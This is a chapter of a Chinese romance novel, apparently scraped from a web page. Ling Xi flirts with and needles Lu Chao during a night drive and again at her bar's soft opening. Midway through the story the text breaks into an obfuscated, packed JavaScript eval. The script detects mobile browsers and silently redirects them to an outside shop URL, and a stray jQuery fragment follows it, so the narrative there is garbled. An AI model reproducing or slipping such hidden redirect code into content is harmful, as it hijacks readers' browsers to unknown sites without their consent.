楚淮的夜晚总是灯火阑珊，车流像根闪光的缎带匍匐在无数条高架桥上，尽管夜色深沉如海，只留一盏弦月绽放辉色，路灯照耀下的城市也依然没有要休息的意思。
车内的气氛实在干巴，凌汐面朝前方坐直不动，眸珠却悄悄往旁边转。陆潮的右半身占据她的视线，胳膊和腿都因为开车适时小幅晃动着。耳边他若有似无的呼吸声时不时抵入，鼻口浅淡的香味存在感极强。
她很想说点什么，可语言系统此刻只似卡壳的收音机，滋滋熄了火，半个音节都冒不出。
最后扒了扒自己柔顺的长卷发，低声清了清嗓。
印象里她应该也是头一回陷入这样尴尬的处境。
心口后悔顿生，还是不应该让他送她回来，这机会也没能派上用场，反倒让她浑身不自在。
她用力地抿了下嘴，收回转过去的瞳仁，瞥向窗外。
高架桥中央开得错落有致的月季飞速从眼前划过，凌汐的注意力被牵走。楚淮这么多年，只要月份一到，月季就会开得鲜艳夺目，在车流密集的高架桥上占据最抢眼、令人完全无法忽视的位置。
这些月季都是由纳税人的税金购买来，为这座城市增彩抹色，要说美化城市的功劳，每个纳税人都能分得份名声。
分不清多少株月季从眼前溜走，艳丽的、柔和的、盛放的、即将枯萎的……
凌汐一时间忘却自己身处何地，原本困扰她的情绪也全都抛之身后，再无法影响到她。
她轻轻笑了一声。
眉眼随意地舒展开，眉尾稍稍往下撇，嘴唇微张，留下极浅的弧度。她像是看到漂亮的花满心畅快，又像是只盯着这些花想到了什么值得嗤笑的事，隐带讥讽。
“你知道吗？”她突然问，却听不出这个‘你’是否能指代陆潮。
后视镜中清晰映出陆潮微微侧头的动作，只是很快，他又转了回去，目视车前。
凌汐的语速很慢，渐渐拖出后半句话：“这些月季都是一千多块一株，非常优等的品种，可再过不久，它们就要凋零了，就算价值再高，到最后还是会从这个世界上消失，归于虚无。”
她仿佛在对陆潮说，也好似在自话自说。
“既然如此，此刻的开放又有什么意义？到底有什么意义呢？”
车内又沉默了很久。
后视镜内，陆潮先是猛地转了次颈，冷寂的瞳孔中闪过丝讶然，而后又几次侧眸，嘴唇动了又动，欲言又止。
凌汐眸子眯得更深，肌肉僵硬地维持身体的姿势，神思不知何时穿透车窗，飞奔到九霄云外。
人活着也是一样，创造再多价值，哪怕名利双收站在金字塔顶尖，几十年后也不过归于黄土，几万亿年后彻底消失在茫茫宇宙。
所有的一切，似乎都没有发生的意义。
“一次荒芜是为了下一次的开始，也是为了下一次的盛放。”封闭的车厢内，陆潮低沉的声音匀速发出，难得的是，竟闻不见一丝冷漠：“开始和盛放就是意义，存在，更是意义。”
凌汐倏然一激灵，肩口小幅抖动两下，长及上腰的卷发也跟着晃动。她瞳孔猛然一缩，靠近的玻璃车窗清晰映出她稍感诧异和后知后觉的面容。
脖颈无意识伸直，些微僵硬，皓齿掩盖于粉唇下，悄然咬了咬唇肉，明显的刺痛感转瞬将不见踪影的神思拽了回来。
她捏紧手，凝滞的呼吸艰难恢复畅通，嘴边快速泄出口气。凌汐猛然转身，熟悉的松散再次占据她整个眉眼，她只瞟过一眼陆潮，便随意靠在背椅：“这是我最近看到的一本书上写的，看到这些月季我就直接生搬硬套过来了，看来陆军官肚子里的墨水也不算少。”
陆潮不出所料地又沉默下来。
凌汐心虚地转了转眸珠，以为他不会再说话。
他却陡然道：“这是我妈说过的话。”
沉稳的嗓音如旧，隐隐的，还带上了另一种凌汐没听懂的情绪，和上午他造景时提到他母亲的悲戚差不多，又好像完全不一样。
凌汐突然不知道该怎么接话。
社交能力仿佛在这一刻忽然归零。
她扭着手，眼前灯光闪烁，身侧车影一晃而过，整个世界变得朦胧不清，坐在同一辆车里的她和陆潮也隔了层雾，足够模糊她的思维。
“你没什么想说的么？”
分不清静默多久，再次主动开口的男声温度降下来些，冷得凌汐耳骨低颤。
熟悉的感觉一瞬回笼，凌汐抬手，指腹压在耳骨上，不让那阵冷意再有可趁之机。
她笑得没了正形：“想说的？陆军官想听什么？”
她不遮不掩，直勾勾盯着陆潮清晰的下颌线，甚至不等陆潮明说，便主动递出选项：“是想听我打算怎么灌醉你？还是想听我打算换种办法让你从了我？”
“……”
他的下颌骨彻底绷紧，车内空调冷气跟着变足。
凌汐浑不在意，接着问：“说起来我们清吧下周一试营业，我邀请了陈潇姐，陈溯也说有空了过来，怎么漏掉了陆军官呢？陆军官和我们这么有缘，不如下周一过来捧个场，我请客？”
“不去。”他拒绝得干脆。
“那我找个清净时候，我们单独喝一杯，怎样？”
“不怎样。”
“真怕我灌醉你？还是说陆军官是一杯倒？”凌汐语气扬得愈发没了正形，她侧眸睇了眼背挺得笔直、浑身上下像是连汗毛都透着不可侵犯的正经的男人，心口的兴奋感急剧攀升，灭掉了适才出现的愁思。
陆潮的眉头以她熟悉过好几回的方式压下来。
凌汐笑得满足。
“你没必要知道我的酒量。”他声音冷冷，牙关像是轻咬着，隐隐沾点愠味。稍顿两秒后，陆潮嘴边又泄出声嗤笑：“凌小姐应该不缺捧场的人才是，毕竟大把人都为了凌小姐痴狂，分了手还念念不忘的大有人在。”
凌汐嘴角僵了僵，弧度短暂收敛，再迅速加深。她侧过身，肩背前倾，将那股几不可闻的柑橘香揽近，琥珀瞳目标明确地找准深沉的黑瞳。
“那你怎么不为我痴狂？”
控制方向盘的右臂往内收了一下，尽管幅度很小，还是被凌汐收入眼底，始终行驶在直路车身也有明显的转向感。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665975|207033||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
陆潮迅速换了手开车，右臂收回腹前：“我不是那大把人。”
“那你能成为那大把人中的一个吗？”陆潮的话音几乎刚落，凌汐的追问便紧随其后。
“不能。”
“如果有一天成了怎么办？”
“不会有那么一天。”
凌汐挑了挑眉，本就强烈的征服欲在此刻紧随兴奋感加剧。她靠回座椅，两臂抱在一起。
“说的这样绝对，如果真的万一有那么一天，陆军官不要哭得太惨哦？”凌汐戏谑。
陆潮不再说话，留给凌汐的反应，只有在安静车厢内响起的一声轻蔑的、冷淡的哼笑。
-
陆潮在小区门口停了车，并没有要开进去的意思。
“你的送回家也太不合格了。”凌汐咂舌。
陆潮冷冷瞥她一眼，已经拿出手机叫车回去，在凌汐进小区前，他还不忘补充一句：“凌小姐手头宽裕了记得早点还我修理车的钱，最多再等十五天，否则我就走法律途径了。”
说罢，他扬腿而去，只留给凌汐道漠然的背影。
“十五天？”凌汐胳膊搭在窗口，看着他上了车，轻挑左唇：“好啊，就十五天。”
-
接下来的几天颜淇的父亲出了院回家休养，颜淇也赶回来和凌汐一块忙着试营业前的准备，每天留下的空闲时间聊胜于无。
凌汐再次和陆潮碰面，是在试营业当天上午，陆潮过来送那两束金黄的迪瑞特柠檬汁。原本定的下午四点，凌汐和颜淇怕到时候手忙脚乱，反正上午也在，就改了时间。
颜淇在休息室优化小程序，花是凌汐对接的。
“陆军官，几天没见有想我吗？”凌汐正低头签单，视线还没对上，话先出了口。
抬眼时，陆潮意料之内的神色挂在脸上。他今天气色还不错，那头干净利落的短寸仍然衬得气势强劲，低沉的眉眼轻蹙，他睨了凌汐一眼，抽回她手里的单子。
“柒柒还好吗？”凌汐没等到他回答，又问。
“不用你操心。”
陆潮垂下去的眼眸抬起来一瞬，又快速归于原样。
“她的失忆症状能治好吗？”
陆潮收数据单和签字笔的手一怔，下巴猛然抬起，扫向凌汐的眸中含满诧异。他盯着凌汐许久，一双浓眉几乎拧在一块儿，两颗浑黑眼仁缩起来些，似乎想说些什么，但又迟迟没有说出口。
“你还是改不了窥探别人隐私的习惯么？”
他突然利索扬臂，面前小包的拉链“刺拉”一声合上，刮得耳膜隐隐作痛。
“是柒柒告诉我的。”凌汐难得收起几分不正形，目光认真地落在他身上。
熟悉的黑色T恤，裤子换成了宽松的军绿色工装裤。
凌汐勾了勾唇。
同样一身打扮，放在别人身上是休闲，在他身上，总是透着股板正的严肃，那种不可侵犯的正气由内而外散发，好似他天生如此。
天生？
凌汐暗暗凛眸。
没有人天生该如何如何。
“柒柒的失忆症…应该不是天生吧？”